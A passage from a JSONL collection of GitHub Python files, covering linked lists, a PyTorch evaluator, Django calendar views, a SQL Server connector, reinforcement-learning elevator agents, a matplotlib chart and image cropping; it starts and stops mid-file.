LinkedList()\nLL.append(4)\nLL.append(5)\nLL.append(56)\nLL.prepend(89)\nLL.insert_after(5,55)\nLL.delete_by_value(89)\nLL.delete_by_position(0) #passing index of the node want to delete as argument\nLL.get_length()\nLL.print_list()","repo_name":"jain-bhakti/Practice-Questions_DSA","sub_path":"Educative_DSA/linked_list/singly/linked_list.py","file_name":"linked_list.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16190920165","text":"from logging import getLogger\nfrom collections import OrderedDict\nimport numpy as np\nimport torch\n\n\nlogger = getLogger()\n\n\nclass Evaluator(object):\n\n def __init__(self, trainer, params):\n \"\"\"\n Initialize evaluator.\n \"\"\"\n self.trainer = trainer\n self.model = trainer.model\n self.ftmodel = trainer.ftmodel\n self.params = params\n\n def run_all_evals(self, trainer, evals, data_loader, *args, **kwargs):\n \"\"\"\n Run all evaluations.\n \"\"\"\n assert type(evals) is list\n scores = OrderedDict({'epoch': trainer.epoch})\n\n with torch.no_grad():\n\n if evals is None or 'classif' in evals:\n for data_type in ['valid']:\n self.eval_classif(data_type, scores, data_loader)\n\n return scores\n\n\n def eval_classif(self, data_type, scores, data_loader):\n \"\"\"\n Evaluate classification.\n \"\"\"\n params = self.params\n self.model.eval()\n\n # stats\n accuracies = []\n\n # memories\n topk = [1, 5, 10, 20, 50, 100, 200, 500]\n topk = [k for k in topk if k <= params.num_classes]\n\n for images, targets in data_loader:\n images = images.cuda().half() if params.fp16 else images.cuda()\n if self.ftmodel is not None:\n images = self.ftmodel(images)\n\n output = self.model(images)\n accuracies.append(accuracy(output.cpu(), targets, topk=tuple(topk)))\n\n # accuracy\n for i_k, k in enumerate(topk):\n scores['top%d_acc' % k] = np.mean([x[i_k] for x in accuracies])\n\n\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\"\n Computes the accuracy over the k top predictions for the specified values of k.\n \"\"\"\n with torch.no_grad():\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul_(100.0 / batch_size).item())\n return res\n","repo_name":"facebookresearch/radioactive_data","sub_path":"src/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"47"} +{"seq_id":"18426100340","text":"class Registry:\n glob_module_registry = dict()\n\n @classmethod\n def register(cls, name: str=None, force=False):\n \"\"\" Class method to register Executor class to the internal registry.\n Args:\n name (str): The name of the executor.\n Returns:\n The Executor class itself.\n \"\"\"\n\n def inner_wrapper(wrapped_class):\n class_name = wrapped_class.__name__\n if name is not None:\n key = name\n else:\n key = class_name\n if force or name not in cls.glob_module_registry:\n cls.glob_module_registry[key] = wrapped_class\n else:\n raise Exception(f\"Key [{key}] is already stored in registry\")\n return wrapped_class\n\n return inner_wrapper\n def __getitem__(self, key):\n return Registry.glob_module_registry[key]\n\nREGISTRY = Registry()\n","repo_name":"niccle27/PyPipeline","sub_path":"Libs/Registry/registry.py","file_name":"registry.py","file_ext":"py","file_size_in_byte":920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35426911100","text":"from django.contrib.auth.decorators import login_required\nimport datetime\nimport calendar\nimport time\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom workflow import render\nfrom django.conf import settings\nfrom workflow.calendar import models\nfrom workflow.timemachine import timemachine\nfrom django import shortcuts\nimport collections\n\n_MONTH_NAMES = [ \"January\", \"February\", \"March\", \"April\", \"May\", \"June\",\n\t\t\t\t\t\"July\", \"August\", \"September\", \"October\", \"November\", \"December\" ]\n_DAY_NAMES = [ 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday' ]\n\n@login_required\ndef years( request, year = None ):\n\tif year:\n\t\tyear = int(year)\n\telse:\n\t\tyear = time.localtime()[0]\n\n\tnowy, nowm = time.localtime()[:2]\n\tlst = []\n\n\tfor y in [year, year+1]:\n\t\tmlst = []\n\t\tfor n, month in enumerate(_MONTH_NAMES):\n\t\t\tcurrent = False\n\t\t\tif y == nowy and n+1 == nowm:\n\t\t\t\tcurrent = True\n\t\t\tmlst.append( dict( n = n + 1, name = month, current = current ) )\n\t\tlst.append((y, mlst))\n\n\treturn render.render( request, \"calendar/years.html\", years = lst, year = year )\n\ndef _isWorkingDay( date ):\n\tnonTeamAttendances = list( timemachine.filter(\n\t\t\tmodels.Attendance.objects.filter( date = date, teamMember__isnull = True ) ) )\n\tif len( nonTeamAttendances ) == 0:\n\t\treturn settings.WEEKDAY_IS_WORKING_DAY( date.weekday() )\n\telse:\n\t\treturn nonTeamAttendances[ -1 ].workingDay\n\ndef _teamMemberWorking( member, date ):\n\tattendances = list( timemachine.filter(\n\t\t\tmodels.Attendance.objects.filter( date = date, teamMember = member ) ) )\n\tif len( attendances ) == 0:\n\t\treturn _isWorkingDay( date )\n\telse:\n\t\treturn attendances[ -1 ].workingDay\n\ndef _dateExceptions( date ):\n\tteamAttendances = timemachine.filter( models.Attendance.objects.filter(\n\t\tdate = date, teamMember__isnull = False ) )\n\tresult = collections.OrderedDict()\n\tfor attendance in teamAttendances:\n\t\tresult[ attendance.user.username ] = attendance.workingDay\n\tworkingDay = _isWorkingDay( date )\n\treturn list( x for x in result.iteritems() if x[ 1 ] != workingDay )\n\n@login_required\n@timemachine.decorators.TimeTravel()\ndef month( request, year, month, change = None ):\n\tyear = int( year )\n\tmonth = int( month )\n\n\tif change in ( \"next\", \"prev\" ):\n\t\tmonthStart = datetime.date( year, month, 1 )\n\t\tif change == \"next\":\n\t\t\tmonthStart += datetime.timedelta( days = 31 )\n\t\telse:\n\t\t\tmonthStart -= datetime.timedelta( days = 1 )\n\t\tyear, month = monthStart.timetuple()[ : 2 ]\n\n\tcal = calendar.Calendar( settings.CALENDAR_FIRST_WEEKDAY )\n\ttoday = datetime.date.today()\n\tdayTitles = [ _DAY_NAMES[ d ] for d in cal.iterweekdays() ]\n\trows = [ [] ]\n\tusers = list( models.User.objects.all() )\n\n\tfor date in cal.itermonthdates( year, month ):\n\t\tif len( rows[ -1 ] ) >= 7:\n\t\t\trows.append( [] )\n\t\tclasses = \"\"\n\t\ttext = \"\"\n\t\tif date.month == month:\n\t\t\tclasses += \" dayInMonthTable_ThisMonth\"\n\t\telse:\n\t\t\tclasses += \" dayInMonthTable_NotThisMonth\"\n\t\tif _isWorkingDay( date ):\n\t\t\tclasses += \" dayInMonthTable_WorkingDay\"\n\t\t\ttext += \"Working day\"\n\t\telse:\n\t\t\tclasses += \" dayInMonthTable_NonWorkingDay\"\n\t\t\ttext += \"Non working day\"\n\t\tif date == today:\n\t\t\tclasses += \" dayInMonthTable_Today\"\n\t\t\ttext = \"Today, \" + text\n\t\trows[ -1 ].append( ( date, classes, text, _dateExceptions( date ) ) )\n\n\treturn render.render( request, \"calendar/month.html\",\n\t\t\t\tyear = year,\n\t\t\t\tmonth = month,\n\t\t\t\tdayTitles = dayTitles,\n\t\t\t\trows = rows,\n\t\t\t\tusers = users,\n\t\t\t\tmname = _MONTH_NAMES[ month - 1 ] )\n\n@login_required\n@timemachine.decorators.TimeTravel( allowedInTimeTravel = False )\ndef toggleWorkingDay( request, year, month, day ):\n\tdate = datetime.date( int( year ), int( month ), int( day ) )\n\tattendance = models.Attendance( date = date, workingDay = not _isWorkingDay( date ), user = request.user )\n\tattendance.save()\n\treturn shortcuts.redirect( \"/calendar/month/%s/%s\" % ( year, month ) )\n\n@login_required\n@timemachine.decorators.TimeTravel( allowedInTimeTravel = False )\ndef toggleTeamMember( request, id, year, month, day ):\n\tteamMember = models.User.objects.get( id = id )\n\tdate = datetime.date( int( year ), int( month ), int( day ) )\n\tattendance = models.Attendance(\tdate = date,\n\t\t\t\t\t\t\t\t\tteamMember = teamMember,\n\t\t\t\t\t\t\t\t\tworkingDay = not _teamMemberWorking( teamMember, date ),\n\t\t\t\t\t\t\t\t\tuser = request.user )\n\tattendance.save()\n\treturn shortcuts.redirect( \"/calendar/month/%s/%s\" % ( year, month ) )\n","repo_name":"shlomimatichin/workflow","sub_path":"workflow/calendar/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33344912909","text":"import sys\nsys.stdin = open(\"problem_4.txt\", \"r\")\n\nT = int(input())\n# print(T)\nfor tc in range(1, T+1):\n data = list(input())\n i = 0\n while i < len(data)-1:\n if data[i] == data[i+1]:\n del data[i+1],\n del data[i]\n i = 0\n else:\n i += 1\n print(f'#{tc} {len(data)}')\n # print(data)3\n","repo_name":"websvey1/TIL","sub_path":"algorithm/algorithm_week/week4/problem_4.py","file_name":"problem_4.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29412891554","text":"import numpy as np\nimport os\nimport pickle\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--log_dir\", type=str, required=True)\nopt = parser.parse_args()\n\nlog_dir = opt.log_dir\n\n\ndef nms33(src):\n h, w = src.shape[0], src.shape[1]\n dst = src.copy()\n dst[:, 0 : w - 1][src[:, 0 : w - 1] <= src[:, 1:w]] = 0 # l-r\n dst[:, 1:w][src[:, 1:w] <= src[:, 0 : w - 1]] = 0 # r-l\n dst[0 : h - 1, :][src[0 : h - 1, :] <= src[1:h, :]] = 0 # u-b\n dst[1:h, :][src[1:h, :] <= src[0 : h - 1, :]] = 0 # b-u\n dst[0 : h - 1, 0 : w - 1][src[0 : h - 1, 0 : w - 1] <= src[1:h, 1:w]] = 0 # lu-rb\n dst[1:h, 1:w][src[1:h, 1:w] <= src[0 : h - 1, 0 : w - 1]] = 0 # rb-lu\n dst[0 : h - 1, 1:w][src[0 : h - 1, 1:w] <= src[1:h, 0 : w - 1]] = 0 # ru-lb\n dst[1:h, 0 : w - 1][src[1:h, 0 : w - 1] <= src[0 : h - 1, 1:w]] = 0 # lb-ru\n return dst\n\n\ndef read_all_raw(result_dir):\n raw_dir = os.path.join(result_dir, \"raws\")\n raw_fns = os.listdir(raw_dir)\n n_data = len(raw_fns)\n # n_data = 10\n data_list = []\n for i in range(n_data):\n with open(os.path.join(raw_dir, raw_fns[i]), \"rb\") as f:\n data = pickle.load(f)\n data[\"idx\"] = int(raw_fns[i][4:8]) # raw_xxxx.pkl\n data_list.append(data)\n print(f\"\\rReading raw data {i} / {n_data} ...\", end=\"\")\n print()\n return data_list\n\n\ndef estimate_topk(data_list, maxk, min_score=0):\n n_data = len(data_list)\n topk_terrs = {k: [] for k in range(1, maxk + 1)}\n\n for i1 in range(n_data):\n print(f\"\\rEstimating top-k {i1} / {n_data} ...\", end=\"\")\n data = data_list[i1]\n n_images = data[\"n_images\"]\n for i2 in range(n_images):\n score_map = data[\"score_maps\"][i2]\n # score_map = cv2.GaussianBlur(score_map, (0,0), 1)\n score_map = nms33(score_map)\n scores_est = score_map[score_map > min_score].reshape(-1)\n locs_est = data[\"samples_loc\"][np.where(score_map.reshape(-1) > min_score)]\n sort_idx = np.argsort(scores_est)[::-1]\n scores_est = scores_est[sort_idx]\n locs_est = locs_est[sort_idx]\n terrs = np.linalg.norm(locs_est - data[\"loc_gts\"][i2], axis=-1)\n\n for k in range(1, maxk + 1):\n topk_terrs[k].append(terrs[:k].min())\n print()\n\n for k in range(1, maxk + 1):\n topk_terrs[k] = np.stack(topk_terrs[k])\n # print(k, (topk_terrs[k]<1).sum() / topk_terrs[k].size)\n\n return {\"topk_terrs\": topk_terrs}\n\n\ndef aggregate_data(data_list):\n n_data = len(data_list)\n ret = {\n \"terrs\": [],\n \"rerrs\": [],\n \"matching_fpss\": [],\n \"sampling_fpss\": [],\n \"sampling_times\": [],\n }\n for i1 in range(n_data):\n print(f\"\\rAggregating data {i1} / {n_data} ...\", end=\"\")\n data = data_list[i1]\n ret[\"terrs\"].append(data[\"terrs\"])\n ret[\"rerrs\"].append(data[\"rerrs\"])\n ret[\"matching_fpss\"].append(np.array(data[\"matching_fps\"]).reshape(1))\n ret[\"sampling_fpss\"].append(np.array(data[\"sampling_fps\"]).reshape(1))\n ret[\"sampling_times\"].append(np.array(data[\"sampling_time\"]).reshape(1))\n print()\n\n for k in ret:\n ret[k] = np.concatenate(ret[k])\n\n return ret\n\n\nif __name__ == \"__main__\":\n\n result_list = [\n x\n for x in sorted(os.listdir(log_dir))\n if os.path.isdir(os.path.join(log_dir, x)) and x.startswith(\"results\")\n ]\n n_results = len(result_list)\n for i in range(n_results):\n result_dir = os.path.join(log_dir, result_list[i])\n print(f\"Processing {result_dir} ... ({i+1}/{n_results})\")\n\n data_list = read_all_raw(result_dir)\n data_topk = estimate_topk(data_list, maxk=10)\n data_other = aggregate_data(data_list)\n data_world = {**data_topk, **data_other}\n\n with open(os.path.join(result_dir, \"analytics_data.pkl\"), \"wb\") as f:\n pickle.dump(data_world, f)\n\n exit(0)\n","repo_name":"zillow/laser","sub_path":"scripts/analyze_data.py","file_name":"analyze_data.py","file_ext":"py","file_size_in_byte":3961,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"} +{"seq_id":"73498140302","text":"\"\"\"\nDatabase connector\n\"\"\"\nimport logging\nimport urllib\nimport sqlalchemy as sa\nfrom pandas import read_sql_query\nimport turbodbc\nfrom turbodbc import make_options, Megabytes\n\nclass GenericDatabaseConnector:\n \"\"\"\n Database connector definition\n \"\"\"\n\n def __init__(self):\n \"\"\"\n :param config:\n \"\"\"\n try:\n #[].[dbo].[big_table]\n self.database = 'AdventureWorks2016'\n #[AdventureWorks2016].[Person].[Person]\n user = 'GFT\\\\ecsa'\n pwd = 'trusted'\n\n server = 'CRPC015162\\SQLDEV'\n driver = 'ODBC+Driver+17+for+SQL+Server'\n driver = \"{\" + driver.replace(\"+\", \" \") + \"}\"\n\n options = make_options(read_buffer_size=Megabytes(100),\n parameter_sets_to_buffer=1000,\n varchar_max_character_limit=10000,\n use_async_io=True,\n prefer_unicode=True,\n autocommit=True,\n large_decimals_as_64_bit_types=True,\n limit_varchar_results_to_max=True)\n if pwd == 'trusted':\n self.cursor = turbodbc.connect(driver=driver, server=server, database=self.database,\n uid=user,\n Trusted_Connection='yes',\n turbodbc_options=options).cursor()\n else:\n self.cursor = turbodbc.connect(driver=driver,\n server=server,\n database=self.database,\n uid=user,\n pwd=pwd, turbodbc_options=options).cursor()\n\n con_string = f\"DRIVER={driver};SERVER={server};DATABASE={self.database};Trusted_Connection=yes;\" \\\n if pwd == 'trusted' \\\n else f\"DRIVER={driver};\" \\\n f\"SERVER={server};\" \\\n f\"DATABASE={self.database};\" \\\n f\"UID={user};\" \\\n f\"PWD={pwd}\"\n\n quoted = urllib.parse.quote_plus(con_string)\n self.engine = sa.create_engine('mssql+pyodbc:///?odbc_connect={}'.format(quoted))\n\n except turbodbc.exceptions.DatabaseError as ex:\n logging.exception(f\"[Exception][database_connector][init][{str(ex)}]\")\n\n def create_database_if_not_exists(self):\n \"\"\"\n :return:\n \"\"\"\n try:\n sql = f\"\"\"\n IF NOT EXISTS (SELECT name FROM master.sys.databases WHERE name = N'{self.database}')\n CREATE DATABASE {self.database}\n \"\"\"\n self.cursor.execute(sql)\n except turbodbc.exceptions.DatabaseError as ex:\n logging.exception(f\"[Exception][database_connector]\"\n f\"[CreateDataBaseIfnotExists][{0}]\", str(ex))\n","repo_name":"ericksc/grpc_studies","sub_path":"data_transmission/database_connector.py","file_name":"database_connector.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1221912068","text":"\nimport numpy as np\nfrom collections import OrderedDict,namedtuple\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.distributions as distrib\n\n\nclass StupidElevator():\n\t\"\"\"\n\tElevator that just goes every floor opening the doors\n\t\"\"\"\n\tdef __init__(self,number_floors):\n\t\tself.cursor = 0\n\t\tself.actions = [4,0]*(number_floors-1)+ [4,1]*(number_floors-1)\n\tdef select_action(self,state):\n\t\taction = self.actions[self.cursor]\n\t\tself.cursor =(self.cursor+1)%len(self.actions)\n\t\treturn action\n\nclass IntelligentElevator():\n\t#elevator making the actions in a greedy manner, it goes to the highest demand floor, picks up everyone and deliver them to their wanted floor\n\n\tdef __init__(self):\n\t\tself.will=-1\n\n\tdef select_action(self,state_uncoded):\n\t\tfloor_filling,elevators_filling,elevator_position,elevators_destination,floors_calls,time = state_uncoded\n\t\tloaded = bool(np.max(elevators_destination))\n\n\t\tif self.will == -1 and not loaded:\n\t\t\t\n\t\t\tfloor_call_per_floor = np.sum(floors_calls,axis=1)\n\t\t\tif np.max(floor_call_per_floor)==0:\n\t\t\t\tself.will=-1\n\t\t\t\treturn 4\n\t\t\telse :\n\t\t\t\tself.will = np.argmax(floor_call_per_floor)\n\t\tif self.will ==-1 and loaded:\n\t\t\tself.will = np.argmax(elevators_destination)\n\n\t\tposition = np.argmax(elevator_position[0])\n\t\tif self.will == position:\n\t\t\tself.will=-1\n\t\t\treturn 4\n\t\tif self.will < position:\n\t\t\treturn 1\n\t\tif self.will > position:\n\t\t\treturn 0\n\n\n\nclass RandomElevator():\n\t\"\"\"\n\tElevator acting randomly\n\t\"\"\"\n\tdef __init__(self):\n\t\tpass\n\tdef select_action(self,state):\n\t\treturn random.randint(0,4)\n\n\n\n#Transition for the RL algorithm for the replay memory\nTransition = namedtuple('Transition',\n\t\t\t\t\t\t('state', 'action', 'reward'))\n\n\nclass ReplayMemory(object):\n\t\"\"\"\n\tMemory class of the RL algorithm to enable experience replay\n\t\"\"\"\n\tdef __init__(self, capacity):\n\t\tself.capacity = capacity\n\t\tself.memory = []\n\t\tself.position = 0\n\n\tdef push(self, *args):\n\t\t\"\"\"Saves a transition.\"\"\"\n\t\tif len(self.memory) < self.capacity:\n\t\t\tself.memory.append(None)\n\t\tself.memory[self.position] = Transition(*args)\n\t\tself.position = (self.position + 1) % self.capacity\n\n\tdef sample(self, batch_size):\n\t\treturn random.sample(self.memory, batch_size)\n\n\tdef reset(self):\n\t\tself.memory = []\n\t\tself.position = 0\n\n\tdef __len__(self):\n\t\treturn len(self.memory)\n\n\n\n#RL algorithm using Sarsa for weight updates\nclass AgentLinearSarsa(nn.Module):\n\tdef __init__(self,state_dim,action_dim,epsilon,epsilon_decay,gamma):\n\t\tsuper(AgentLinearSarsa,self).__init__()\n\t\t#2 layer neural network\n\t\tself.lin = nn.Sequential(nn.Linear(state_dim,400),nn.ReLU(),nn.Linear(400,400),nn.ReLU(),nn.Linear(400,action_dim))\n\n\t\t# time for the decay of epsilon\n\t\tself.time = 0\n\t\tself._epsilon=epsilon\n\t\tself.epsilon_decay = epsilon_decay\n\t\tself.action_dim = action_dim\n\t\tself.gamma = gamma\n\n\t#Epsilon decayed\n\t@property\n\tdef epsilon(self):\n\t\treturn max(self._epsilon*self.epsilon_decay**self.time,0.02)\n\n\t@epsilon.setter\n\tdef epsilon(self,value):\n\t\tself._epsilon = value\n\t\tself.time=0\n\n\t#function to decay epsilon\n\tdef decay(self):\n\t\tself.time +=1\n\n\t#forward pass of the neural network\n\tdef forward(self,states):\n\t\treturn self.lin(states)\n\n\t#selecting action in a epsilon greedy manner\n\tdef select_action(self,state):\n\t\tif random.random() < self.epsilon:\n\t\t\treturn random.randint(0,self.action_dim-1)\n\t\telse:\n\t\t\twith torch.no_grad():\n\t\t\t\tprocessed = self(state)\n\t\t\t\treturn torch.argmax(processed).item()\n\n\t#Update using experience replay and Sarsa\n\tdef update(self,memory,batch_size,gamma,optimizer,target_net):\n\t\ttransitions = memory.sample(batch_size)\n\t\tbatch = Transition(*zip(*transitions))\n\t\tnon_final_mask = torch.tensor(tuple(map(lambda s: s is not None,\n\t\t\t\t\t\t\t\t\t\t batch.next_state)), dtype=torch.bool,device=self.lin[0].weight.device)\n\t\tnon_final_next_states = torch.cat([s for s in batch.next_state\n\t\t\t\t\t\t\t\t\t\t\t\t\tif s is not None]).to(device=self.lin[0].weight.device)\n\t\tstate_batch = torch.cat(batch.state)\n\t\taction_batch = torch.cat(batch.action).to(device=self.lin[0].weight.device)\n\t\treward_batch = torch.cat(batch.reward).to(device=self.lin[0].weight.device)\n\n\t\t# Compute V(s_{t+1}) for all next states.\n\t\tnext_state_values = torch.zeros(batch_size,device=self.lin[0].weight.device)\n\t\twith torch.no_grad():\n\t\t\tnext_state_values[non_final_mask] = target_net(non_final_next_states).max(1)[0].detach()\n\t\t\t# Compute the expected Q values\n\t\t\texpected_state_action_values = (next_state_values * gamma) + reward_batch\n\n\n\n\t\tstate_action_values = self(state_batch).gather(1, action_batch)\n\n\t\t# Compute Huber loss\n\n\t\tloss = F.smooth_l1_loss(state_action_values, expected_state_action_values.unsqueeze(1))\n\n\t\t# Optimize the model\n\t\toptimizer.zero_grad()\n\t\tloss.backward()\n\t\tfor param in self.parameters():\n\t\t\tparam.grad.data.clamp_(-1, 1)\n\t\toptimizer.step()\n\n\nclass PolicyGradientAgent(nn.Module):\n\tdef __init__(self,state_dim,action_dim,epsilon,epsilon_decay,gamma):\n\t\tsuper(PolicyGradientAgent,self).__init__()\n\t\t#2 layer neural network\n\t\tself.lin = nn.Sequential(nn.Linear(state_dim,400),nn.ReLU(),nn.Linear(400,400),nn.ReLU(),nn.Linear(400,action_dim))\n\n\t\t# time for the decay of epsilon\n\t\tself.time = 0\n\t\tself._epsilon=epsilon\n\t\tself.epsilon_decay = epsilon_decay\n\t\tself.action_dim = action_dim\n\t\tself.gamma = gamma\n\n\t#Epsilon decayed\n\t@property\n\tdef epsilon(self):\n\t\treturn max(self._epsilon*self.epsilon_decay**self.time,0.02)\n\n\t@epsilon.setter\n\tdef epsilon(self,value):\n\t\tself._epsilon = value\n\t\tself.time=0\n\n\t#function to decay epsilon\n\tdef decay(self):\n\t\tself.time +=1\n\n\t#forward pass of the neural network\n\tdef forward(self,states):\n\t\treturn self.lin(states)\n\n\t#selecting action in a epsilon greedy manner\n\tdef select_action(self,state):\n\t\tif random.random() < self.epsilon:\n\t\t\treturn random.randint(0,self.action_dim-1)\n\t\telse:\n\t\t\twith torch.no_grad():\n\t\t\t\tprocessed = self(state)\n\t\t\t\treturn torch.argmax(processed).item()\n\n\t#Update using experience replay and Sarsa\n\tdef update(self,memory,gamma,optimizer):\n\t\ttransitions = memory.memory\n\t\tbatch = Transition(*zip(*transitions))\n\t\tnon_final_mask = torch.tensor(tuple(map(lambda s: s is not None,\n\t\t\t\t\t\t\t\t\t\t batch.next_state)), dtype=torch.bool,device=self.lin[0].weight.device)\n\t\tnon_final_next_states = torch.cat([s for s in batch.next_state\n\t\t\t\t\t\t\t\t\t\t\t\t\tif s is not None]).to(device=self.lin[0].weight.device)\n\t\tstate_batch = torch.cat(batch.state)\n\t\taction_batch = torch.cat(batch.action).to(device=self.lin[0].weight.device).squeeze()\n\t\treward_batch = torch.cat(batch.reward).to(device=self.lin[0].weight.device)\n\t\tdiscounted_reward = torch.stack([sum([gamma**i*reward_batch[k:][i] for i in range(reward_batch[k:].shape[0])])for k in range(reward_batch.shape[0])],dim=0)\n\t\t# print(discounted_reward)\n\t\tdiscounted_reward = (discounted_reward-torch.mean(discounted_reward))\n\t\t\n\t\t# exit()\n\n\t\tquality = discounted_reward*F.cross_entropy(self(state_batch), action_batch, reduction='none')\n\n\n\n\n\t\tloss = -torch.mean(quality)\n\n\t\t# Optimize the model\n\t\toptimizer.zero_grad()\n\t\tloss.backward()\n\t\tfor param in self.parameters():\n\t\t\tparam.grad.data.clamp_(-1, 1)\n\t\toptimizer.step()\n\t\tmemory.reset()\n\n#policy learner general class \nclass ReinforceAgent(object):\n\tdef __init__(self,temperature, temperature_decay):\n\t\tself._temperature = temperature\n\t\tself.temperature_decay = temperature_decay\n\t\tself.time = 0\n\n\t#for selecting random actions\n\t@property\n\tdef temperature(self):\n\t\treturn max(self._temperature*self.temperature_decay**self.time,1)\n\t\n\t@temperature.setter\n\tdef epsilon(self,value):\n\t\tself._temperature = value\n\t\tself.time=0\n\n\tdef decay(self):\n\t\tself.time +=1\n\n\t# this one is sampling action the the policy\n\tdef select_action(self,state):\n\t\tprobs = self.probs_from_state(state)\n\t\tprobs = np.array([round(prob.item(),2) for prob in probs])\n\t\tprobs = probs/ np.sum(probs)\n\n\t\treturn np.random.choice(range(probs.shape[0]),p=probs)\n\n\tdef probs_from_state(self,state):\n\t\traise NotImplementedError(\"The process function has to be implemented\")\n\n\n\nclass AgentReinforceTorch(ReinforceAgent):\n\t\"\"\"\n\tPolicy agent that uses reinforce\n\t\"\"\"\n\tdef __init__(self,state_dim,action_dim,temperature, temperature_decay):\n\t\tReinforceAgent.__init__(self,temperature, temperature_decay)\n\t\t#module to evaluate the probabilities\n\t\tself.decision_module = nn.Sequential(nn.Linear(state_dim,500),nn.ReLU(),nn.Linear(500,action_dim))\n\t\tself.decision_module[0].weight.data.normal_(0,1/np.sqrt(50))\n\t\tself.decision_module[0].bias.data.normal_(0,1/np.sqrt(50))\n\t\tself.decision_module[2].weight.data.normal_(0,1/np.sqrt(50))\n\t\tself.decision_module[2].bias.data.normal_(0,1/np.sqrt(50))\n\n\n\t#smooth the probabilities with temparature (not needed here)\n\tdef probs_from_state(self,state):\n\t\twith torch.no_grad():\n\t\t\treturn F.softmax(self.decision_module(state)/self.temperature)\n\n\tdef gradient_probits(self,state):\n\t\treturn F.softmax(self.decision_module(state))\n\n\t#function to update the network following the reinforce algorithm\n\tdef update_network(self,memory,optimizer):\n\t\t#taking alkl episode\n\t\ttransitions = memory.memory\n\t\t#batching\n\t\tbatch = Transition(*zip(*transitions))\n\t\t\n\t\tstate_batch = torch.cat(batch.state)\n\t\taction_batch = torch.cat(batch.action)\n\t\treward_batch = torch.cat(batch.reward)\n\t\t#negative log probability multiplied with the reward and then averaged\n\t\tloss= torch.mean(F.cross_entropy(self.decision_module(state_batch),action_batch,reduction='none')*reward_batch)\n\t\t#nullify gradients\n\t\toptimizer.zero_grad()\n\t\t#backward\n\t\tloss.backward()\n\t\t#optimization step\n\t\toptimizer.step()","repo_name":"williampiat3/Reinforcement","sub_path":"Extensions/agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":9491,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"9913156874","text":"import pandas as pd\r\nimport matplotlib.pyplot as plt\r\ndf=pd.read_excel('finalreport.xlsx')\r\n\r\nwidth = 0.25 \r\npos = list(range(len(df['Count of keyword 1'])))\r\nfig, ax = plt.subplots(figsize=(10,5))\r\n\r\n# Create a bar with pre_score data,\r\n# in position pos,\r\nplt.bar(pos, \r\n #using df['pre_score'] data,\r\n df['Count of keyword 1'], \r\n # of width\r\n width, \r\n # with alpha 0.5\r\n alpha=0.5, \r\n # with color\r\n color='#EE3224', \r\n # with label the first value in first_name\r\n label=df['url'][0]) \r\n\r\n# Create a bar with mid_score data,\r\n# in position pos + some width buffer,\r\nplt.bar([p + width for p in pos], \r\n #using df['mid_score'] data,\r\n df['Count of keyword 2'],\r\n # of width\r\n width, \r\n # with alpha 0.5\r\n alpha=0.5, \r\n # with color\r\n color='#F78F1E', \r\n # with label the second value in first_name\r\n label=df['url'][1]) \r\n\r\n# Create a bar with post_score data,\r\n# in position pos + some width buffer,\r\nplt.bar([p + width*2 for p in pos], \r\n #using df['post_score'] data,\r\n df['Count of keyword 3'], \r\n # of width\r\n width, \r\n # with alpha 0.5\r\n alpha=0.5, \r\n # with color\r\n color='#FFC222', \r\n # with label the third value in first_name\r\n label=df['url'][2]) \r\n\r\n# Set the y axis label\r\nax.set_ylabel('Count')\r\n\r\n# Set the chart's title\r\nax.set_title('Count of keyword in url')\r\n\r\n# Set the position of the x ticks\r\nax.set_xticks([p + 1.5 * width for p in pos])\r\n\r\n# Set the labels for the x ticks\r\nax.set_xticklabels(df['url'])\r\n\r\n# Setting the x-axis and y-axis limits\r\nplt.xlim(min(pos)-width, max(pos)+width*4)\r\nplt.ylim([0, max(df['Count of keyword 1'] + df['Count of keyword 2'] + df['Count of keyword 3'])] )\r\n# Adding the legend and showing the plot\r\nplt.legend([x, 'Count of keyword 2', 'Count of keyword 3'], loc='upper left')\r\nplt.grid()\r\nplt.show()\r\n","repo_name":"Ruchihingar/python_Seo_project","sub_path":"project_data/charts.py","file_name":"charts.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"34251590922","text":"import cv2\nimport os\nimport datetime\nimport numpy as np\n#裁掉黑边\ndef change_size(source_path):\n print(os.path.join(source_path,'raw.png'))\n image= cv2.imread(os.path.join(source_path,'raw.png'),1) #读取图片 image_name应该是变量\n mask = cv2.imread(os.path.join(source_path,'instrument_instances.png'))\n #mask = np.zeros_like(image)\n img = cv2.medianBlur(image,5) #中值滤波，去除黑色边际中可能含有的噪声干扰\n b=cv2.threshold(img,15,255,cv2.THRESH_BINARY) #调整裁剪效果\n binary_image=b[1] #二值图--具有三通道\n binary_image=cv2.cvtColor(binary_image,cv2.COLOR_BGR2GRAY)\n print(binary_image.shape) #改为单通道\n \n x=binary_image.shape[0]\n print(\"高度x=\",x)\n y=binary_image.shape[1]\n print(\"宽度y=\",y)\n edges_x=[]\n edges_y=[]\n for i in range(x):\n 